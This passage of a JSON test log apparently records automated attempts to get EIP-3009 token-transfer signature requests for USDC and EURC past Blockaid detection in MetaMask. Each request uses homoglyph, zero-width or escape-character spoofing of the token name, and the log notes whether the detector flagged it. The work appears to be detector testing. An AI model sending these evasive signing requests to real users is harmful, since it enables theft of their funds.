page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN5-COMBO-6", "timestamp": "2026-01-31T23:34:49.568Z", "technique": "EIP3009-combo-EURC-ideographic_space-hex_short-standard-random-lowercase-signTypedData", "category": "eip3009", "description": "EURC + ideographic_space + hex_short + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"0x1\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x38fa93cf859f294d98b5ef18205325f85e5af5f4afb17ed717b03ceebef31970\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-COMBO-7", "timestamp": "2026-01-31T23:34:56.108Z", "technique": "EIP3009-combo-EURC-cyrillic_o-leading_zeros-leading_zeros_ts-all_a-mixed_case-v3", "category": "eip3009", "description": "EURC + cyrillic_o + leading_zeros + leading_zeros_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":\"0000000000\",\"validBefore\":\"0001893456000\",\"nonce\":\"0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-COMBO-8", "timestamp": "2026-01-31T23:35:02.637Z", "technique": "EIP3009-combo-EURC-escape-hex_max-numeric_ts-max-mixed_case-v4", "category": "eip3009", "description": "EURC + escape + hex_max + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\u001bC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1AbAeA1F7C830Bd89AcC67eC4Af516284B1Bc33C\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-COMBO-9", "timestamp": "2026-01-31T23:35:09.175Z", "technique": "EIP3009-combo-EURC-leading_space-leading_zeros-max_uint-all_ones-checksum-v3", "category": "eip3009", "description": "EURC + leading_space + leading_zeros + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\" EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"00001000000000\",\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN5-COMBO-10", "timestamp": "2026-01-31T23:35:16.124Z", "technique": "EIP3009-combo-EURC-newline-repeating-narrow_1hr-random-lowercase-v3", "category": "eip3009", "description": "EURC + newline + repeating + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EUR\\nC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"123123123123123123123123123123123\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xd1c893c306d2e52d470abdd302c8750700e9b453b1ad28d5c2be0547fb90655a\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN5-COMBO-11", "timestamp": "2026-01-31T23:35:23.100Z", "technique": "EIP3009-combo-USDC-combining_mark-max_uint_minus_1-year_2100-zero-mixed_case-v3", "category": "eip3009", "description": "USDC + combining_mark + max_uint_minus_1 + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD̀ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-COMBO-12", "timestamp": "2026-01-31T23:35:29.644Z", "technique": "EIP3009-combo-USDC-thin_space-numeric_small-just_now-zero-checksum-v3", "category": "eip3009", "description": "USDC + thin_space + numeric_small + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":999999999999,\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN5-COMBO-13", "timestamp": "2026-01-31T23:35:36.606Z", "technique": "EIP3009-combo-USDC-cyrillic_o-round_100k-numeric_ts-leading_zeros_nonce-mixed_case-v4", "category": "eip3009", "description": "USDC + cyrillic_o + round_100k + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Cоin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"100000000000\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000001\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN5-COMBO-14", "timestamp": "2026-01-31T23:35:43.150Z", "technique": "EIP3009-combo-EURC-zwj-leading_zeros_many-narrow_1hr-mixed_case_hex-checksum-v4", "category": "eip3009", "description": "EURC + zwj + leading_zeros_many + narrow_1hr", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‍RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"1769898414\",\"validBefore\":\"1769905614\",\"nonce\":\"0xAb95C0A6B6F4B4De5cB23bC4D5700cD70dF3A8Ed81A7EeD82dD6Db1f203fF720\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN6-COMBO-0", "timestamp": "2026-01-31T23:35:50.092Z", "technique": "EIP3009-combo-EURC-standard-unicode_digits-past_2020-all_ones-checksum-signTypedData", "category": "eip3009", "description": "EURC + standard + unicode_digits + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-COMBO-1", "timestamp": "2026-01-31T23:35:56.631Z", "technique": "EIP3009-combo-USDC-word_joiner-numeric_small-max_uint-zero-checksum-signTypedData", "category": "eip3009", "description": "USDC + word_joiner + numeric_small + max_uint", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD⁠ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":999999999999,\"validAfter\":\"0\",\"validBefore\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0x0000000000000000000000000000000000000000000000000000000000000000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-COMBO-2", "timestamp": "2026-01-31T23:36:03.164Z", "technique": "EIP3009-combo-EURC-long_256-max_uint_minus_1-numeric_ts-random-lowercase-signTypedData", "category": "eip3009", "description": "EURC + long_256 + max_uint_minus_1 + numeric_ts", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":0,\"validBefore\":1893456000,\"nonce\":\"0xc39fe4aa980eeab77b65d7d222367fb993e851e2a5dfb6c78f2f80dbcce3eec8\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-COMBO-3", "timestamp": "2026-01-31T23:36:09.705Z", "technique": "EIP3009-combo-USDC-zwsp-alternating-just_now-all_ones-mixed_case-v4", "category": "eip3009", "description": "USDC + zwsp + alternating + just_now", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD​ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"10101010101010101010101010101010\",\"validAfter\":\"1769901954\",\"validBefore\":\"1769988414\",\"nonce\":\"0x1111111111111111111111111111111111111111111111111111111111111111\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-COMBO-4", "timestamp": "2026-01-31T23:36:16.242Z", "technique": "EIP3009-combo-USDC-zwsp-hex_1m-standard-max-mixed_case-v4", "category": "eip3009", "description": "USDC + zwsp + hex_1m + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD​ Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218B36c1d19D4A2E9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81Bc29F8860e7a17Ab759eD000C97f178\",\"to\":\"0x87eF9D8F1CeC5AfC1A46b472d068fB84e7947326\",\"value\":\"0xe8d4a51000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN6-COMBO-5", "timestamp": "2026-01-31T23:36:22.772Z", "technique": "EIP3009-combo-EURC-empty-max_uint_minus_1-year_2100-max-checksum-v4", "category": "eip3009", "description": "EURC + empty + max_uint_minus_1 + year_2100", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639934\",\"validAfter\":\"0\",\"validBefore\":\"4102444800\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN6-COMBO-6", "timestamp": "2026-01-31T23:36:29.723Z", "technique": "EIP3009-combo-EURC-zwnj-leading_zeros_many-standard-random-checksum-v4", "category": "eip3009", "description": "EURC + zwnj + leading_zeros_many + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EU‌RC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1aBaEA1f7C830bD89Acc67eC4af516284b1bC33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"value\":\"000000000000000000000000000000000000000000000001000000000000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x608d8961c46b6da97d69261bfda999c30b5ad6ce467c3b038ec09cca42a0ba94\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN6-COMBO-7", "timestamp": "2026-01-31T23:36:36.694Z", "technique": "EIP3009-combo-EURC-cyrillic_o-round_100k-past_2020-max-lowercase-v4", "category": "eip3009", "description": "EURC + cyrillic_o + round_100k + past_2020", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"EURC\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0x1abaea1f7c830bd89acc67ec4af516284b1bc33c\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"100000000000\",\"validAfter\":\"1577836800\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request" } }, { "id": "RUN6-COMBO-8", "timestamp": "2026-01-31T23:36:46.036Z", "technique": "EIP3009-combo-USDC-long_256-one_million-standard-max-lowercase-v3", "category": "eip3009", "description": "USDC + long_256 + one_million + standard", "expectedBypass": "Combinatorial variation", "payload": { "method": "eth_signTypedData_v3", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin \",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x87ef9d8f1cec5afc1a46b472d068fb84e7947326\",\"value\":\"1000000000000\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"}}" ] }, "result": { "blockaidDetected": true, "bypassed": false, "bannerText": "deceptive request", "error": "undefined: page.waitForTimeout: Target page, context or browser has been closed" } }, { "id": "RUN6-COMBO-9", "timestamp": "2026-01-31T23:36:52.953Z", "technique": 